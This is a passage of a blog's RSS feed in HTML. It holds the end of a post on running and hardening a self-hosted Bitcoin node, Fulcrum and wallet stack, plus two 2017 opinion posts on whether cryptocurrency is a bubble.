</span></span><span class="line"><span class="cl"><span class="na">rpcthreads</span><span class="o">=</span><span class="s">16</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcworkqueue</span><span class="o">=</span><span class="s">512</span>
</span></span><span class="line"><span class="cl"><span class="na">dbcache</span><span class="o">=</span><span class="s">1024</span>
</span></span><span class="line"><span class="cl"><span class="na">maxmempool</span><span class="o">=</span><span class="s">512</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>All of this makes sense on a server with decent RAM and fast NVMe. But the detail that matters most is still the clean shutdown. Wallet infrastructure has no room for &ldquo;we&rsquo;ll deal with it later&rdquo; thinking.</p>
<h2>The actual size of all this<span class="hx:absolute hx:-mt-20" id="the-actual-size-of-all-this"></span>
    <a href="#the-actual-size-of-all-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is another point a lot of people underestimate.</p>
<p>If you look at older Bitcoin Core documentation, you&rsquo;ll find numbers like 350 GB of disk for a node with default config. That&rsquo;s outdated. More current data on the size of the blockchain points to something around <strong>725.82 GB on March 11, 2026</strong>, and that&rsquo;s just the raw chain, without the extra indexes that many technical folks will want to keep.</p>
<p>And here comes the catch: the stack I&rsquo;m describing isn&rsquo;t &ldquo;a bare Bitcoin Core just to claim you run a node.&rdquo; It&rsquo;s <code>bitcoind</code> with <code>txindex</code>, plus Fulcrum, plus headroom for rebuild, logs, snapshots and normal network growth.</p>
<p>So to put together something similar today, I&rsquo;d think like this:</p>
<ul>
<li>below 1 TB: I wouldn&rsquo;t even start</li>
<li>1 TB: pragmatic minimum</li>
<li>2 TB: comfortable range</li>
<li>above that: if you want long-term headroom, snapshots and less operational anxiety</li>
</ul>
<p>And here&rsquo;s the most important observation of all in self-hosting: don&rsquo;t assume persistence, mount and backup are right just because the YAML looks clean. Verify.</p>
<p>Another thing I wouldn&rsquo;t forget on a btrfs host: put Fulcrum&rsquo;s database (<code>fulc2_db</code>) on a separate subvolume. The reason is mundane. That directory grows, changes constantly and has nothing to do with generic automated snapshots of <code>/var</code>. If you mix everything, you end up dragging a large rebuildable index along with system snapshots, burning space and making maintenance more annoying than it needed to be. The Fulcrum index isn&rsquo;t sensitive configuration. It&rsquo;s heavy, volatile, rebuildable data. I treat it exactly like that.</p>
<h2>Hardening: what I&rsquo;ve already applied<span class="hx:absolute hx:-mt-20" id="hardening-what-ive-already-applied"></span>
    <a href="#hardening-what-ive-already-applied" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is where the difference between &ldquo;ran on my laptop&rdquo; and &ldquo;I&rsquo;d trust this to operate my wallet&rdquo; shows up.</p>
<p>In the current state of the stack, the points I consider important ended up like this:</p>
<ul>
<li>Bitcoin Core&rsquo;s RPC no longer relies on unnecessary host exposure; Fulcrum talks to <code>bitcoind</code> over the Docker internal network, which is what actually matters</li>
<li><code>50001</code> is restricted to internal LAN use</li>
<li><code>50002</code> is available with TLS, which is the right move when you need to leave plaintext behind</li>
<li>shutdown is graceful, with <code>stop_grace_period: 5m</code>, so <code>bitcoind</code> has time to flush state instead of dying any old way</li>
<li>the storage mount isn&rsquo;t on a &ldquo;we&rsquo;ll see later&rdquo; basis; there&rsquo;s a mount check before Docker comes up, precisely to avoid silent drift</li>
</ul>
<p>Each of those items exists for a very concrete reason.</p>
<p>Pulling the RPC off the host&rsquo;s surface reduces attack at zero cost. Fulcrum is already in the same Compose and can already talk to the service by its internal name. There&rsquo;s no real gain in leaving that port exposed where it doesn&rsquo;t need to be exposed.</p>
<p>Separating <code>50001</code> and <code>50002</code> also helps keep the house in order. Within a controlled LAN, plaintext is acceptable. Outside of that, the minimum reasonable thing is TLS. Mixing the two scenarios usually turns into a mess.</p>
<p><code>stop_grace_period: 5m</code> looks like a container detail, but it isn&rsquo;t. Anyone who&rsquo;s ever had a database, an index or a blockchain node killed without grace knows how that turns into hours of work later. A stateful service needs a decent stop.</p>
<p>And the mount check is one of those annoying things that saves you from yourself. The YAML can look beautiful. If the storage didn&rsquo;t mount and the service came up writing where it shouldn&rsquo;t, you&rsquo;ve just manufactured a really irritating problem.</p>
<p>There&rsquo;s also one detail I really like in this final version of the stack: Fulcrum authenticates to <code>bitcoind</code> through the <code>.cookie</code> file, not through a fixed plaintext password. That&rsquo;s interesting for two reasons:</p>
<ul>
<li>you don&rsquo;t need to leave a static credential showing up in compose, inspect, healthcheck or documentation</li>
<li>the authentication is more aligned with the way Bitcoin Core already knows how to operate locally</li>
</ul>
<p>In practical terms, that reduces accidental leakage of operational secrets. It&rsquo;s not a magic solution to everything, but it&rsquo;s much better than spreading <code>rpcuser</code> and <code>rpcpassword</code> across files, logs and commands.</p>
<p>The only kind of hardening I try to avoid here is the one that&rsquo;s overly performative in YAML and loose in operation. I&rsquo;d rather have less &ldquo;stage engineering&rdquo; and more basic discipline:</p>
<ul>
<li>minimum network</li>
<li>minimum secrets</li>
<li>minimum privilege</li>
<li>clean shutdown</li>
<li>verified storage</li>
<li>separate subvolume for large rebuildable data, like the Fulcrum index</li>
</ul>
<p>And, again, document everything. Good infrastructure isn&rsquo;t the kind that just works today. It&rsquo;s the kind that keeps working when you come back to it six months later.</p>
<h2>Why this improves transactions on your side<span class="hx:absolute hx:-mt-20" id="why-this-improves-transactions-on-your-side"></span>
    <a href="#why-this-improves-transactions-on-your-side" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When I build a transaction in Sparrow and sign it on the Coldcard, the chain of trust is much better defined:</p>
<ul>
<li>the private key never touches the internet</li>
<li>the desktop wallet doesn&rsquo;t have to trust a public server</li>
<li>the broadcast can come out of my own node</li>
<li>the address history doesn&rsquo;t need to land on a third-party Electrum server</li>
</ul>
<p>This doesn&rsquo;t make anything invulnerable. There&rsquo;s still a risk of malware on the desktop, badly stored seeds, human error, social engineering and physical disaster. But the design becomes much more coherent.</p>
<h2>What about Lightning? Especially in Brazil?<span class="hx:absolute hx:-mt-20" id="what-about-lightning-especially-in-brazil"></span>
    <a href="#what-about-lightning-especially-in-brazil" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There I separate things.</p>
<p>Reserves and larger-value transactions I treat one way. Day-to-day spending I treat another.</p>
<p>For day-to-day spending, especially in Brazil, I think it&rsquo;s operationally dumb to carry a lot of balance in a hot wallet. Lightning wallets and spending apps have to be almost like a &ldquo;pocket wallet&rdquo;: just enough for daily life.</p>
<p>That goes double if you use a hybrid or custodial solution like <a href="https://www.redotpay.com/"target="_blank" rel="noopener">RedotPay</a>. I get why it&rsquo;s interesting for Brazilians: a Hong Kong company, international focus, a reasonably practical bridge between crypto and card spending. For travel, online shopping and life outside the Brazilian banking axis, it makes sense. But I&rsquo;d never treat it as a place to store wealth. That&rsquo;s a spending tool, not a vault.</p>
<p>Same logic for <a href="https://www.bitrefill.com/br/pt/"target="_blank" rel="noopener">Bitrefill Brasil</a>. I think the service is interesting precisely because it solves a real pain in Brazil: turning sats into concrete utility without selling your full position or depending on banking integration all the time. Gift cards, top-ups, small expenses. As a use tool, it makes a lot of sense.</p>
<p>For a Lightning wallet on the phone, I&rsquo;d look at first:</p>
<ul>
<li><a href="https://phoenix.acinq.co/"target="_blank" rel="noopener">Phoenix</a> for people who want something very good and simple</li>
<li><a href="https://breez.technology/"target="_blank" rel="noopener">Breez</a> for people who want a great payments experience</li>
<li><a href="https://zeusln.com/"target="_blank" rel="noopener">ZEUS</a> if you&rsquo;re more technical and you eventually plan to operate your own Lightning node</li>
</ul>
<p>All of them, in my head, fit into the &ldquo;pocket wallet&rdquo; category. Small balance. Daily use. Don&rsquo;t turn a phone app into a retirement vault.</p>
<h2>Recent news that reinforces this reasoning<span class="hx:absolute hx:-mt-20" id="recent-news-that-reinforces-this-reasoning"></span>
    <a href="#recent-news-that-reinforces-this-reasoning" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;m not building this kind of stack because I think it&rsquo;s pretty. I&rsquo;m building it because outsourcing too much goes wrong too often.</p>
<p>Two recent examples:</p>
<ul>
<li>the <a href="https://www.cnbc.com/2025/02/21/hackers-steal-1point5-billion-from-exchange-bybit-biggest-crypto-heist.html"target="_blank" rel="noopener">Bybit hack in 2025</a> showed, again, the basic risk of leaving meaningful custody at an exchange</li>
<li>the <a href="https://techcrunch.com/2025/05/15/coinbase-says-customers-personal-information-stolen-in-data-breach/"target="_blank" rel="noopener">Coinbase customer data leak in 2025</a> showed the other side of the problem: even when custody isn&rsquo;t the immediate concern, your identity, balance and history become an attack surface</li>
</ul>
<p>A stack like Coldcard + Sparrow + Fulcrum + full node doesn&rsquo;t eliminate every risk in the world. But it avoids two very real classes of problem:</p>
<ul>
<li>losing custody sovereignty</li>
<li>handing over wallet and transaction privacy on a silver platter to third parties</li>
</ul>
<h2>So is it worth it?<span class="hx:absolute hx:-mt-20" id="so-is-it-worth-it"></span>
    <a href="#so-is-it-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For most people, honestly, probably not in the first month. It&rsquo;s labor-intensive, has a learning curve, and demands discipline.</p>
<p>But for programmers, engineers and any technical person who wants to learn not to depend on someone else&rsquo;s service all the time, I think it&rsquo;s an excellent exercise.</p>
<p>You learn about:</p>
<ul>
<li>separation of concerns</li>
<li>persistence and state</li>
<li>graceful shutdown</li>
<li>observability</li>
<li>secret isolation</li>
<li>the trade-off between convenience and security</li>
</ul>
<p>And all of that is valuable beyond Bitcoin.</p>
<p>In the end, that&rsquo;s what interests me most about this stack. It isn&rsquo;t about preaching &ldquo;hyperbitcoinization&rdquo; or posing as a price prophet. It&rsquo;s about building a system at home that I can trust more because I&rsquo;m the one who installed it, measured it, broke it, fixed it and documented it.</p>
<p>Is it work? Yes.</p>
<p>But that kind of work teaches exactly what modern software tries to make you forget: depending less on others is more work upfront, but it usually buys a lot more control in the long run.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>homelab</category><category>security</category></item><item><title>Cryptocurrencies: Is it a Bubble? Does it Matter?</title><link>https://akitaonrails.github.io/en/2017/12/05/cryptocurrencies-is-it-a-bubble-does-it-matter/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/12/05/cryptocurrencies-is-it-a-bubble-does-it-matter/</guid><pubDate>Tue, 05 Dec 2017 10:36:00 -0200</pubDate><description>&lt;p&gt;Obs: this is a follow up to my previous post &lt;a href="http://www.akitaonrails.com/en/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener"&gt;&amp;ldquo;From 10K and Beyond&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the million dollar question. Or billion!&lt;/p&gt;
&lt;p&gt;If you watched the legendary movie &amp;ldquo;The Social Network&amp;rdquo;, you know about the romanticized version of the equally legendary creation of Facebook. And you probably know all about the movie antagonists, the Winklevoss Twins.&lt;/p&gt;
&lt;p&gt;But since the movie closes on the first years of Facebook, way back more than 10 years ago, you probably don&amp;rsquo;t know that those same Twins heavily ventured into cryptocurrencies, and while influencing NYC legislation they also invested USD 11 million out of the USD 65 million from the Facebook settlement. In 2013 this allowed them to buy into 1% of the available coins. Which means that they are now the very first &lt;a href="https://www.theverge.com/2017/12/4/16732952/winklevoss-twins-bitcoin-billionaires-surge"target="_blank" rel="noopener"&gt;Cryptocurrency Billionaires&lt;/a&gt; (with a &amp;ldquo;B&amp;rdquo;!)&lt;/p&gt;</description><content:encoded><![CDATA[<p>Obs: this is a follow up to my previous post <a href="http://www.akitaonrails.com/en/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener">&ldquo;From 10K and Beyond&rdquo;</a>.</p>
<p>This is the million dollar question. Or billion!</p>
<p>If you watched the legendary movie &ldquo;The Social Network&rdquo;, you know about the romanticized version of the equally legendary creation of Facebook. And you probably know all about the movie antagonists, the Winklevoss Twins.</p>
<p>But since the movie closes on the first years of Facebook, way back more than 10 years ago, you probably don&rsquo;t know that those same Twins heavily ventured into cryptocurrencies, and while influencing NYC legislation they also invested USD 11 million out of the USD 65 million from the Facebook settlement. In 2013 this allowed them to buy into 1% of the available coins. Which means that they are now the very first <a href="https://www.theverge.com/2017/12/4/16732952/winklevoss-twins-bitcoin-billionaires-surge"target="_blank" rel="noopener">Cryptocurrency Billionaires</a> (with a &ldquo;B&rdquo;!)</p>
<p><a href="https://www.youtube.com/watch?v=4e0n7vTLz1U"target="_blank" rel="noopener"><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/666/1_jAbJ-MalRwmEYpae6FdZ1A.jpeg" alt="A billion dollars"  loading="lazy" /></a></p>
<p>So, this is &ldquo;The Social Network Part 2: Rise of the Cryptocurrency&rdquo;</p>
<p>2017 has been a pretty crazy ride for cryptocurrencies in general, Bitcoin in particular.</p>
<p>It was not 10 days ago that we reached &ldquo;over 9000!&rdquo;</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/668/It_s_over_9000.jpg" alt="Over 9000"  loading="lazy" /></p>
<p>And just a couple of days later, Bitcoin crossed the elusive 10,000! And when everybody thought that was it, it keeps going up, in the largest and fastest bullish run in cryptocurrency history.</p>
<p>As of the time of this article writing, we are consolidating around the 11,700 mark, going after the 12,000 as we approach 2018 and the entrance of the CME Futures, Nasdaq, and many other big endeavors.</p>
<p>And the world can&rsquo;t help themselves but ask: <em>&ldquo;are we in a bubble?&rdquo;</em></p>
<p>Or a more precise question: <em>&ldquo;will I lose everything if I buy Bitcoins today?&rdquo;</em></p>
<p>Interestingly, the best answer so far came from traditional Forbes in the article <a href="https://www.forbes.com/sites/wwoo/2017/09/29/is-bitcoin-in-a-bubble-check-the-nvt-ratio/#22d085566a23"target="_blank" rel="noopener">&ldquo;Is Bitcoin In A Bubble? Check The NVT Ratio&rdquo;</a></p>
<p>Traders love their indicators. In computer science, we are getting more and more captivated with statistics, probability, and the dawn of machine learning. But both fields are still far from getting away from the biggest trap of all: <a href="https://en.wikipedia.org/wiki/Post_hoc_ergo_propter_hoc"target="_blank" rel="noopener">&ldquo;Post hoc ergo propter hoc&rdquo;</a>.</p>
<blockquote>
  <p>&ldquo;Correlation is NOT Causation&rdquo;</p>

</blockquote>
<p>This is the mistake that leads to unbelievable things in humanity. From extremist religions to people selling houses to buy Bitcoins.</p>
<p>Accept that no one can predict the future. We can forecast the short term. If we look hard enough we can find any number of indicators that feel &ldquo;Sciency&rdquo; and &ldquo;Math-y&rdquo; enough to believe, but at the end of the day, they are as good as lucky tokens or four-leaf clovers.</p>
<p>And the most important thing: <strong>It doesn&rsquo;t matter if Bitcoin crashes hard tomorrow!</strong></p>
<p>Programmers from Tech startups are the very first to shout out the stupid <em>&ldquo;It is like Tulip Mania all over again&rdquo;</em> as if this makes them sound wise or something. As I said in my <a href="http://www.akitaonrails.com/en/2017/11/30/de-10-mil-e-alem-discutindo-criptomoedas"target="_blank" rel="noopener">previous article</a>, if you hear anyone repeating this <a href="https://www.smithsonianmag.com/history/there-never-was-real-tulip-fever-180964915/"target="_blank" rel="noopener">fake news</a>, you know they know nothing.</p>
<p>Equally disingenuous is when I hear people saying <em>&ldquo;just believe in it, real-world analysis doesn&rsquo;t apply to Bitcoin.&rdquo;</em> This is stupid, of course, it does. Both the stock market and cryptocurrencies follow the same behavior: because the players are the same. Not only technical analysis, but behavioral economics also applies. Like Richard Thaler&rsquo;s Endowment effect:</p>
<blockquote>
  <p>&ldquo;People ascribe more value to things merely because they own them.&rdquo;</p>

</blockquote>
<p>If programmers are so honest and wise, why not remind us all of the irrational exuberance in our own field? How about the legendary <a href="https://en.wikipedia.org/wiki/Dot-com_bubble"target="_blank" rel="noopener">Dot-com Bubble Crash of 2001</a>?</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/670/dotcomcrash.png" alt="Dot-com Crash"  loading="lazy" /></p>
<p>I was 24 years old back then, and having around 4 years in my career, it was a crazy time to work. I worked in 3 different companies in that period. I saw all of them explode. And damn, I was so eager and so excited, and at the same time so frustrated.</p>
<p>I was frustrated that I lacked the experience, the knowledge, and the capital to pursue those endeavors and ride the big waves.</p>
<p>And when it all went down in 2001, it felt like I had lost the chance. It&rsquo;s not a pleasant feeling. Rationally I knew that I didn&rsquo;t miss anything. I lived through it, I experienced it, and as I didn&rsquo;t have the capital to invest, I also didn&rsquo;t lose anything when it exploded. But I promised myself that I would take my time to study, get experience, accumulate capital. And when another opportunity like that shows itself to me, I would grab it.</p>
<p>Most importantly. The bubble crashed, and it was spectacular. I never got desperate, or had feelings of &ldquo;end of the world&rdquo;. The world never ends, we are too ingenious for that.</p>
<p>The graph above is the Nasdaq-100, a stock market index made up of more than 100 equity securities issued by 100 of the largest non-financial companies listed on the NASDAQ. And that graph is powerful because it feels like Bitcoin is heading towards its inevitable bubble crash as well.</p>
<p>Now, consider the following graph of the Nasdaq-100 from 1999 to today (2017):</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/671/nasdaq-100.png" alt="Nasdaq today"  loading="lazy" /></p>
<p>Yes, we had a period of depression and very slow recovery. Then the economic crisis of 2008 shot us in the face. But we recovered. Give it 10 years after a crash, and I promise you that we will reach levels above and beyond the previous crisis. That&rsquo;s how we function. Over time we innovate, we adjust rough edges, we make things more efficient and streamlined.</p>
<p>Now, the Nasdaq-100 is valued at 6,263.70. At the peak of the 2001 bubble, the index was at 4,691.60. So we are 50% above the bubble fever of the 2000s. And it all happened in my lifetime.</p>
<p>And also as I planned in 2001, I was not ready back then. I am now.</p>
<p>Antifragility works like this: you can gamble an amount that, if you lose it, you won&rsquo;t regret it. But if you win, you win big. Bitcoin is like that. I can invest - let&rsquo;s say - USD 10,000. If I lose it, yeah, it will hurt but I won&rsquo;t die because of it. But if it keeps its exponential growth, and doubles in the next 2 months, I will have USD 20,000. And those USD 20,000, 6 months from now, can become USD 50,000, or more.</p>
<p>But it all goes down to: if it crashes, I lose the USD 10,000. That&rsquo;s fine. And if I want to be really risky, I can apply trading techniques, do swing trading, margin trading, leverage myself, and so forth.</p>
<p>Bottom line is: it really doesn&rsquo;t matter if this is a bubble or not. If it explodes, cryptocurrencies will go on, in one form or another. We already experienced what it&rsquo;s like to trade in a 100% digital currency across borders. We won&rsquo;t go back. The internet didn&rsquo;t go back, we just couldn&rsquo;t get offline anymore.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>economics</category></item><item><title>From 10k and Beyond: Discussing Crypto Currencies</title><link>https://akitaonrails.github.io/en/2017/11/30/from-10k-and-beyond-discussing-crypto-currencies/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/11/30/from-10k-and-beyond-discussing-crypto-currencies/</guid><pubDate>Thu, 30 Nov 2017 17:04:00 -0200</pubDate><description>&lt;p&gt;&lt;img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/665/cryptocurrencies.jpg" alt="cryptocurrencies" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the &lt;a href="https://www.coindesk.com/10000-bitcoins-price-makes-history/"target="_blank" rel="noopener"&gt;historical USD 10,000 break&lt;/a&gt; a day ago, Bitcoin and cryptocurrencies in general finally reached the mainstream media in a bombastic way.&lt;/p&gt;
&lt;p&gt;Like many in the tech industry, I tried the tech since the very beginning. I mined a couple of bitcoins myself back in 2009, then lost my wallet private key, totally forgot about it, and many years later here I am, kicking myself in the butt :-)&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/665/cryptocurrencies.jpg" alt="cryptocurrencies"  loading="lazy" /></p>
<p>After the <a href="https://www.coindesk.com/10000-bitcoins-price-makes-history/"target="_blank" rel="noopener">historical USD 10,000 break</a> a day ago, Bitcoin and cryptocurrencies in general finally reached the mainstream media in a bombastic way.</p>
<p>Like many in the tech industry, I tried the tech since the very beginning. I mined a couple of bitcoins myself back in 2009, then lost my wallet private key, totally forgot about it, and many years later here I am, kicking myself in the butt :-)</p>
<p>When it reached USD 3,000 I had my interest in the platform totally renewed. And it was a very pleasant surprise to see how big it became. If you follow me, you know how eager I am to learn new things that have real potential. And also how easily I turn my attention full gear into something.</p>
<p>I can only do that because I am not a loyalist to anything. I don&rsquo;t pick and defend a <a href="http://www.akitaonrails.com/en/2016/05/31/flertando-com-crystal-perspectiva-de-um-rubyista"target="_blank" rel="noopener">single language</a>, or a <a href="http://www.akitaonrails.com/en/2017/01/10/arch-linux-a-melhor-distro-de-todas"target="_blank" rel="noopener">single OS</a>, or a <a href="http://www.akitaonrails.com/en/2017/11/21/da-microsoft-para-a-apple-e-de-volta"target="_blank" rel="noopener">single manufacturer</a>, or a <a href="http://www.akitaonrails.com/en/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil"target="_blank" rel="noopener">single market</a>. I find it very unproductive if I see myself just defending stuff.</p>
<p>Believe it or not, Cryptocurrencies are here to stay, for a few years at the very least. I remember the feeling when I tried the commercial Internet back in 1993. It feels like that all over again: an uncharted territory with a lot of potential and a lot of things we can&rsquo;t even imagine right now.</p>
<p>If you follow me, you also know that I am a big proponent of applying Reason. I hate both extreme hype and FUD. Anyone sharing either is someone that wants to be noticed, free attention, but has nothing actually useful to say. <em>&ldquo;Oh, it&rsquo;s gonna reach 100k soon! Buy in!&rdquo;</em> or <em>&ldquo;Oh, it&rsquo;s a tulip bubble, you&rsquo;re an idiot if you buy in!&rdquo;</em>. Both extremes are imbeciles.</p>
<p>Education is key to anything. The reasoning is the starting point.</p>
<p>As a big <strong>disclaimer</strong>: I am not recommending anyone to buy into cryptocurrencies without doing your own due diligence. Anyone doing any recommendations for or against is irresponsible. All I can do is convey a personal opinion and technical analysis. This is my role.</p>
<p>One example: did you know that the so often repeated <a href="https://www.smithsonianmag.com/history/there-never-was-real-tulip-fever-180964915/"target="_blank" rel="noopener">Tulip Bubble never actually existed</a>? Yes, that shows how quick people are to share memes and fake news without actually doing research.</p>
<p>And it&rsquo;s even more hilarious in the tech industry, where I see many &ldquo;evangelists&rdquo; shouting about the &ldquo;miracles&rdquo; of starting your own tech startup in hopes of &ldquo;disrupting&rdquo; the industry with <a href="https://www.producthunt.com/e/uber-for-x"target="_blank" rel="noopener">yet-another-Uber-derivative</a>. Let&rsquo;s put this straight: anything can be a bubble.</p>
<p>Gold is only valuable because we created a story around it. Gold can&rsquo;t be eaten. Gold is not even a very good metal to work with. We just created a story and we agreed to it. The same goes for anything we consider &ldquo;valuable&rdquo;. What is a fiat currency? It&rsquo;s a piece of paper, which is useless by itself. But if we all agree on the same story, that &ldquo;$100&rdquo; printed on it makes the paper super valuable.</p>
<p>Such is the power of <strong>belief</strong>.</p>
<p>Anything that we do requires some level of faith. If I perform a job to someone else, I need to have the faith that I will be paid in the future. The confidence comes from a piece of signed paper or even a simple e-mail, and the trust that institutions will help me enforce this payment if need be.</p>
<p>It&rsquo;s all stories, faith, and beliefs. If you didn&rsquo;t already, I highly recommend you read Yuval Harari&rsquo;s <a href="https://www.amazon.com/Sapiens-Humankind-Yuval-Noah-Harari/dp/0062316095"target="_blank" rel="noopener">&ldquo;Homo Sapiens&rdquo;</a> to understand how stories shape our history.</p>
<p>That being said, I find it hilarious that techies considered &ldquo;serious&rdquo; are super quick to shout out <em>&ldquo;this is a scam!&rdquo;</em> or <em>&ldquo;this is a bubble!&rdquo;</em> without giving it 1 second of consideration, check the fundamentals and check the sources. Engineers should know better, and that exposes who actually know how to do proper analysis and who just follow herds blindly.</p>
<p>You can&rsquo;t say that I was wrong if, for any reason, cryptocurrencies explode tomorrow all of a sudden. Nor that the naysayers were right. This is important: anything in the future is impossible to predict. You have to play the odds. If you don&rsquo;t have confidence, don&rsquo;t gamble. But creating stories to justify ignorance is beyond disappointing.</p>
<p>The interesting part about the financial markets is teaching people how to deal with improbability. I have been evangelizing Nassim Taleb in this blog <a href="http://www.akitaonrails.com/en/2008/10/09/off-topic-entendendo-a-crise-econ-mica"target="_blank" rel="noopener">for years</a>, since the 2008/2009 economic collapse. We learned a lot. We learned about &ldquo;Black Swans&rdquo; and how to become &ldquo;Antifragile&rdquo; and, in good timing, how to have <a href="https://www.amazon.com/Skin-Game-Hidden-Asymmetries-Daily/dp/B077BSK9LC/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1512059894&amp;sr=1-1&amp;keywords=skin&#43;in&#43;the&#43;game"target="_blank" rel="noopener">&ldquo;Skin in the Game&rdquo;</a>. Engineers should have more of this knowledge, they would come up with much better solutions.</p>
<p>Answering some specific FUDs I have been reading:</p>
<blockquote>
  <p>&ldquo;It&rsquo;s a bubble!&rdquo;</p>

</blockquote>
<p>It may be. As I said, the tech industry is a bubble for all we know. It only requires a few VCs to collude and <a href="https://techcrunch.com/2017/11/30/theres-an-implosion-of-early-stage-vc-funding-and-no-ones-talking-about-it/"target="_blank" rel="noopener">pull back</a> and leave a bomb to explode behind. Everything is just stories, no matter how much you value something. That&rsquo;s it.</p>
<p>How do you operate in a bubble? In an antifragile way. First of all, if you&rsquo;re uninitiated, never, ever invest everything you have. Only invest an amount that, if you lose everything, you won&rsquo;t be left to die. This is Investment-101.</p>
<p>Try to buy at the lows, and perhaps sell at the highs. Or plan long-term and <a href="https://coinsutra.com/hodl-popular-cryptocurrency-terms/"target="_blank" rel="noopener">HODL</a> for a few years. If you need quick returns, learn how to deal with <a href="https://www.investopedia.com/terms/s/stop-lossorder.asp"target="_blank" rel="noopener">stop-loss orders</a>, for example. Don&rsquo;t try to outsmart the market if you don&rsquo;t have trading experience. Or do, but don&rsquo;t complain when you lose.</p>
<p>Losses or profits, it&rsquo;s all on you and you alone, not &ldquo;the market&rdquo; or &ldquo;the speculators&rdquo;. Everybody is an adult. Adults should take responsibility for their own acts. If they lost money in a gamble they didn&rsquo;t understand, it&rsquo;s their fault.</p>
<blockquote>
  <p>&ldquo;Mining consumes more energy than certain small countries!&rdquo;</p>

</blockquote>
<p>It doesn&rsquo;t matter. First and foremost, they are not draining free energy. Every miner is paying for it. Now you will see why it&rsquo;s so bad when governments interfere with free markets. If some country subsidizes the energy, then the supply and demand formula will fail. Obviously.</p>
<p>And techies should know this better. There never was enough bandwidth in ground telephone lines for everybody on the planet to connect to the internet. We had to evolve infrastructure, a lot. We had to add submarine lines. We had to go from dialed modems to ISDN, to cable modems, etc.</p>
<p><a href="http://www.akitaonrails.com/en/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos"target="_blank" rel="noopener">Proof of work</a> based mining consumes a heck of a lot of energy, and for good reason. We are trading off energy for integrity. But this is not the only alternative. There are <a href="https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQ"target="_blank" rel="noopener">proof of stake</a> implementations starting to be deployed in other alt-coins which are super energy efficient while providing similar levels of trust in the consensus.</p>
<p>The point is that technology evolves fast, you can&rsquo;t extrapolate into the future based on what we have now. It&rsquo;s like someone in 1993 saying <em>&ldquo;the commercial internet can&rsquo;t happen because telephone lines are too slow if we ever want to have video streaming services&rdquo;</em>.</p>
<blockquote>
  <p>&ldquo;Bitcoin is too centralized, it is too dangerous!&rdquo;</p>

</blockquote>
<p>If you&rsquo;re a programmer and still don&rsquo;t know exactly what mining means, I recommend you read my <a href="http://www.akitaonrails.com/en/2017/11/01/como-o-bitcoin-forca-consenso-entre-os-generais-bizantinos"target="_blank" rel="noopener">previous article</a> about it first.</p>
<p>Mining is not deterministic. Even if you have the best hardware ever, it&rsquo;s not guaranteed that you will mine the block first. It&rsquo;s more like a raffle.</p>
<p>Which is why miners organize into pools, which share the gains between the members.</p>
<p>The concern is that <a href="https://blockchain.info/pools"target="_blank" rel="noopener">4 of the biggest pools</a>, AntPool, ViaBTC, BTC.com, and BTC.TOP &ldquo;control&rdquo; 62% of the world&rsquo;s hashpower..</p>
<p>It&rsquo;s said that anyone controlling 51% of the hashpower could launch a hack attack against the blockchain, being able to rewrite blocks in the recent past and allowing double-spend, for example.</p>
<p>But <a href="https://bitcoinmagazine.com/articles/problems-associated-with-bitcoin-mining-centralization-may-be-overstated-1474917259/"target="_blank" rel="noopener">in practice</a>, it&rsquo;s not that easy.</p>
<p>It is expensive to mine. USD 20,000 in equipment can only mine around USD 11 per day, without subtracting all the costs including the depreciation of the machines. Anything other than mining is very risky and unprofitable. The system is built in a way that hackers would have to spend so much money at such high risks that it&rsquo;s easier to just follow the rules.</p>
<p>And again, the alt-coins and forks are experimenting into new ways to make it even harder in the future.</p>
<blockquote>
  <p>&ldquo;Visa performs thousands of transactions per second. Bitcoin can never do that!&rdquo;</p>

</blockquote>
<p>Again, this is a useless argument. It&rsquo;s like saying <em>&ldquo;gold can&rsquo;t be exchanged fast enough, it will never be good&rdquo;</em>.</p>
<p>We already have several alt-coins such as Litecoin and others trying to solve the problem of fast transactions. Consider that all alt-coins are kind of tied to Bitcoin, the same as the dollar used to be tied to the gold. And if the so-called <a href="https://lightning.network/"target="_blank" rel="noopener">Lightning Network</a> ever goes live, we can cross boundaries between blockchains more easily as well.</p>
